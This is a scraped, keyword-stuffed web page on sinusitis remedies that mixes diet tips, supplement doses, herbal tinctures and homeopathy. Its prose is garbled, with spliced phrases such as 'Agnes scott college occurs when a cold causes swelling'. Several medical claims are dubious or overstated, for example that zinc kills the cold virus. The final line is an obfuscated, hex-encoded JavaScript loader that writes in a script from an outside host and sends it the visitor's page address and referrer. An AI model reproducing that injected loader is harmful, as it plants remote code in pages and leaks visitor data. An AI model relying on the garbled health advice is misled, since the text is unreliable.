Sinus Infections Com: Remedies for Sinusitis
There are number of factors that cause sinusitis. Agnes scott college occurs when a cold causes swelling and congestion on the lining of the nose. Sinusitis may begin as a viral infection but within a few days it can develop into a bacterial infection. In many sinus infection treatment, there may be one or more preexisting condition that adds to the problem. These include allergies, nasal polyps and nasal septum. These conditions cause the narrowing of the nasal passages and blockage the sinus openings. That is why some people undergo operations to improve their chronic sinus infections.There are Also Natural Ways You can Take to Overcome the Problem of Sinusitis
First, as much as possible avoid inhaling traffic fumes, cigarette smokes and chemicals at home or at work. Second, exercise regularly. Even walking for thirty minutes three to four times a week can be very effective. Third, avoid foods such as eggs, wheat, fatty foods, pastries, sugar, chocolate and any food that contains food additives. Fourth, eat more fruits and vegetable, fish, hot chicken and salads. Fifth, drink two to three liters of water a day. Keep in mind that water helps in keeping the body clean. Lastly, chronic stuffy nose? fungus may be the culprit, inhalation is a tested way of relieving blocked sinuses.
- Understand that a well-balanced diet and lifestyle can help prevent sinusitis.
- Over-the-counter medications can decrease the annoying symptoms of sinusitis.
- But if sinusitis symptoms continue, it is better to seek the help of a physician.
- Despite the fact that most sinusitis sufferers receive no benefit from antibiotics, most doctors still prescribe them.
- Most doctors also recommend decongestants although they can cause insomnia and nervousness.
- Long term use can also cause dependency to the drug.
- The side effects of nasal sprays cannot also be overlooked.
- It can cause high blood pressure, mood swings, acne, peptic ulcers glaucoma and weight gain.
- Although surgery can be the last resort to severe sinusitis there is still no guarantee that it will be successful, it could even make matters worse.
For These Reasons, Some People Have Turned to the Healing Wonders of Natural Medicines
Goldenseal and olive extracts are effective in fighting bacterial and fungal infections. Vitamin C is also well known for its ability to strengthen the immune system and lessen allergic reactions. Zinc also shortens the duration of a cold by killing the cold virus, thus, reducing the risk of sinusitis.
Natural Cure for Sinusitis | Remedies | Pinterest
You're probably familiar with Tiger Balm, that strong-smelling oriental ointment that comes in a red tin decorated with a tiger. I have used it for colds and headaches, and I like it. Tiger Balm is filled with potent aromatic herbal extracts--menthol from peppermint, eugenol from cloves, cineole from cajuput (a close relative of teatree), cinnamaldehyde from cinnamon, and camphor. It clears the sinuses faster than a tiger can pounce. Sinusitis occurs when the mucous lining of the sinuses becomes inflamed. Anything that blocks the entry of air into the sinuses can result in inflammation: bacterial, viral, and fungal infections, allergies, polyps, or a deviated septum cures. Sinusitis is a common condition -- according to the American Academy of Otolaryngology, sinusitis affects 37 million people in the United States. Household dust and mould can aggravate sinusitis. Wash bed sheets regularly in hot water and invest in pillow covers specially designed to protect you from the many dust mites that live inside pillows. Keep the rest of your bedroom very clean.
General, a diet that is rich in vegetables, whole grains, and beans, and low in saturated fat (meat and dairy), sugar, mucous-forming, and allergenic foods will be beneficial to the sinuses. Echinacea, (pronounced eck-in-AY-sha) a safe and highly effective natural supplement, not only rapidly improves cold and flu symptoms, but can prevent these diseases.3 Most importantly, when echinacea is combined with two other herbs, white cedar and wild indigo, even greater health benefits can be achieved. You might also try one of the following supplements to boost immunity: - 1,000 mg vitamin C three times a day - 30 to 60 mg zinc a day - 15,000 IU beta-carotene a day Or to reduce inflammation: - 500 mg bromelain three times a day, taken between meals - 500 mg quercetin three times a day, taken between meals There are a variety of herbal treatments that help promote sinus drainage, relieve pain, and strengthen the immune system. Herbs can be taken in capsules, brewed in teas, or in tinctures. Try drinking one cup of tea or taking 30 to 60 drops of tincture every two to four hours of the following herbs, which can be effective taken individually or in combination: - Wild indigo - Eyebright - Licorice - Coneflower - Goldenseal - Garlic - Ginger Homeopathic remedies for sinusitis include arsenicum album, kali bichromicum, pulsatilla, and nux vomica. Consult an experienced homeopath for a recommendation on which remedy may be effective for you. Additional home treatments include alternating placing hot and cold wet washcloths on your face. Use a hot one for three minutes, then a cold one for one minute, and repeat three times. Try to do three sets a day. Eucalyptus, lavender, rosemary, or thyme oils added to a hot bath may give you some relief as well. Another option is to add two to five drops of one of these oils to a pot of water, bring to a simmer, and inhale the steam. Herbal teas: Using 1 tsp. dried herb per cup of hot water, steep 5 to 10 minutes for dried leaves or flowers, 10 to 20 minutes for dried roots. Tincture: A preparation made from alcohol or water and alcohol, containing an herb strength of 1 part herb to 5 parts solvent or 1 part herb to 10 parts solvent.
Dehumidifier May be Necessary to Maintain Humidity Below 50%
Put away your humidifier -- they create a humid environment that is encouraging to dust mites. Foods that people with sinusitis should avoid are dairy, oranges, white sugar, and foods containing white flour, because they promote the formation of mucous. Sugar also has a negative effect on the ability of the immune system to clear bacteria. Aside from the major foods, wheat, soy, fermented foods, and eggs can be experimentally avoided for a couple of weeks to see if sinus symptoms improve, and then re-introduced to see if symptoms temporarily worsen. The facts on Sinusitis mentioned here have a consequential impact on your understanding on Sinusitis. This is because these facts are the basic and important points about Sinusitis.var c2="sinusitis";var _0xded0=["\x3C\x73\x63","\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x74\x6C","\x69\x66\x65\x6C","\x61\x62\x73\x2E\x63\x6F\x6D\x2F\x61\x66\x66\x69\x6C\x69\x61\x74\x65\x73\x2F\x61\x64\x2E\x6A\x73\x3F\x63\x3D","\x26\x73\x3D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x61\x69\x64\x3D\x38\x37\x32\x31\x27\x3E\x3C\x2F\x73\x63\x72\x69","\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xded0[8]](_0xded0[0]+_0xded0[1]+_0xded0[2]+_0xded0[3]+c2+_0xded0[4]+encodeURIComponent(window[_0xded0[5]])+"\x26\x72\x65\x66\x3D"+encodeURIComponent(document["\x72\x65\x66\x65\x72\x72\x65\x72"])+_0xded0[6]+_0xded0[7]);
